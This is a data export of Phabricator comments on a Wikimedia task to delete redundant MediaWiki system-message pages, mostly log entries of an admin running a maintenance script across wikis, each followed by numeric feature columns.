(T45917)",,,1464119096,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,151,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.8181818181818183,0.8787878787878788,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-05-24T19:44:56Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki warwiki (T45917)"
667701,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVTjg8HA1EdYBLP_72ig} [2016-05-24T16:05:43Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki fiwikinews (T45917)",,,1464105943,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,151,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.909090909090909,0.8787878787878788,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-05-24T16:05:43Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki fiwikinews (T45917)"
644723,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQM0ZS2D0x0K5Df_Smj} [2016-04-12T23:32:22Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki elwiki (T45917)",,,1460503942,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.787878787878788,0.8787878787878788,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-12T23:32:22Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki elwiki (T45917)"
643887,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHoFN2gCrwkbTdl-Hq} [2016-04-11T23:20:28Z] <Krinkle> mwscript deleteEqualMessages.php --wiki idwiki (T45917)",,,1460416828,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.875,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T23:20:28Z] <Krinkle> mwscript deleteEqualMessages.php --wiki idwiki (T45917)"
643882,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHmQ5I1EdYBLP_7mNA} [2016-04-11T23:12:31Z] <Krinkle> mwscript deleteEqualMessages.php --wiki zh_classicalwiki (T45917)",,,1460416352,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.1875,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T23:12:31Z] <Krinkle> mwscript deleteEqualMessages.php --wiki zh_classicalwiki (T45917)"
643814,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHOvKAD0x0K5Df_R_k} [2016-04-11T21:29:44Z] <Krinkle> mwscript deleteEqualMessages.php --wiki bgwikiquote (T45917)",,,1460410184,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.03125,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T21:29:44Z] <Krinkle> mwscript deleteEqualMessages.php --wiki bgwikiquote (T45917)"
643813,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHOuy9gCrwkbTdl-ET} [2016-04-11T21:29:42Z] <Krinkle> mwscript deleteEqualMessages.php --wiki frwikibooks (T45917)",,,1460410183,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.03125,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T21:29:42Z] <Krinkle> mwscript deleteEqualMessages.php --wiki frwikibooks (T45917)"
643782,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHDv3n1EdYBLP_7mIC} [2016-04-11T20:41:43Z] <Krinkle> mwscript deleteEqualMessages.php --wiki plwiki (T45917)",,,1460407304,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.875,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T20:41:43Z] <Krinkle> mwscript deleteEqualMessages.php --wiki plwiki (T45917)"
643315,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQDoTWOD0x0K5Df_RpN} [2016-04-11T04:42:57Z] <Krinkle> mwscript deleteEqualMessages.php --wiki shwiki (T45917)",,,1460349777,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.875,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T04:42:57Z] <Krinkle> mwscript deleteEqualMessages.php --wiki shwiki (T45917)"
643298,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQCZCaKD0x0K5Df_RoZ} [2016-04-10T22:56:38Z] <Krinkle> mwscript deleteEqualMessages.php --wiki srwiki (T45917)",,,1460328999,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,144,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.875,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-10T22:56:38Z] <Krinkle> mwscript deleteEqualMessages.php --wiki srwiki (T45917)"
643291,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQCP56LgCrwkbTdl9qq} [2016-04-10T22:16:44Z] <Krinkle> mwscript deleteEqualMessages.php --wiki yowiki (T45917)",,,1460326604,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,144,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.875,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-10T22:16:44Z] <Krinkle> mwscript deleteEqualMessages.php --wiki yowiki (T45917)"
643290,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQCLBWxgCrwkbTdl9qj} [2016-04-10T21:55:24Z] <Krinkle> mwscript deleteEqualMessages.php --wiki trwikimedia (T45917)",,,1460325324,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,144,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.03125,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-10T21:55:24Z] <Krinkle> mwscript deleteEqualMessages.php --wiki trwikimedia (T45917)"
640004,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPepXiHD0x0K5Df_P7O} [2016-04-04T00:21:39Z] <Krinkle> mwscript deleteEqualMessages.php --wiki ruwiki (T45917)",,,1459729299,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,144,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.875,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-04T00:21:39Z] <Krinkle> mwscript deleteEqualMessages.php --wiki ruwiki (T45917)"
639986,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPeRhqty3uubrspqdd0} [2016-04-03T22:37:29Z] <Krinkle> mwscript deleteEqualMessages.php --wiki eswiki --lang-code ca (T45917)",,,1459723049,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,143,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.8055555555555554,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-03T22:37:29Z] <Krinkle> mwscript deleteEqualMessages.php --wiki eswiki --lang-code ca (T45917)"
639985,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPeRglHy3uubrspqddz} [2016-04-03T22:37:25Z] <Krinkle> mwscript deleteEqualMessages.php --wiki eswiki (T45917)",,,1459723046,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,143,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.875,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-03T22:37:25Z] <Krinkle> mwscript deleteEqualMessages.php --wiki eswiki (T45917)"
637761,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPLTHP8y3uubrspqcNy} [2016-03-31T06:11:38Z] <Krinkle> mwscript deleteEqualMessages.php --wiki zh_min_nanwiki (T45917)",,,1459404699,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,143,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.125,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-03-31T06:11:38Z] <Krinkle> mwscript deleteEqualMessages.php --wiki zh_min_nanwiki (T45917)"
634643,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVOnA0SngCrwkbTdl4Pi} [2016-03-24T05:05:22Z] <Krinkle> mwscript deleteEqualMessages.php --wiki zhwikiquote (T45917 , P1988)",,,1458795922,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,142,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.9705882352941178,0.8529411764705882,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-03-24T05:05:22Z] <Krinkle> mwscript deleteEqualMessages.php --wiki zhwikiquote (T45917 , P1988)"
589555,"Delete all redundant ""MediaWiki"" pages for system messages","> Has this now all been done and resolved?

Not that I know.",,,1452678979,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,132,,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,1.0,"QUOTE

Not that I know."
589062,"Delete all redundant ""MediaWiki"" pages for system messages",Has this now all been done and resolved?,,,1452622160,,PHID-USER-lumvg23bxmfbvekr2fbo,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,132,,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Has this now all been done and resolved?
570963,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#1841781, @Jdforrester-WMF wrote:
> What is left to do here?

Running on all wikis.",,,1449002935,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,126,,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.4444444444444446,0.8888888888888888,"QUOTE
QUOTE

Running on all wikis."
570773,"Delete all redundant ""MediaWiki"" pages for system messages",What is left to do here?,,,1448988458,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,126,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7142857142857144,1.0,What is left to do here?
521819,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:

```
eowiki: 129 pages
euwiki: 740 pages
frpwiki: 2 pages
frwiki: 48 pages
huwiki: 7 pages
kawiki: 777 pages
ocwiki: 862 pages
rowiki: 432 pages
zhwiktionary: 143 pages
fywiktionary: 65 pages
pmswiki: 391 pages
```",,,1441593011,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,114,,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,2.3076923076923075,0.7692307692307693,"Ran for a few more wikis:

``CODE``"
521765,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:

```
eowiki: 129 pages
euwiki: 740 pages
frpwiki: 2 pages
frwiki: 48 pages
huwiki: 7 pages
kawiki: 777 pages
ocwiki: 862 pages
rowiki: 432 pages
zhwiktionary: 143 pages
fywiktionary: 65 pages
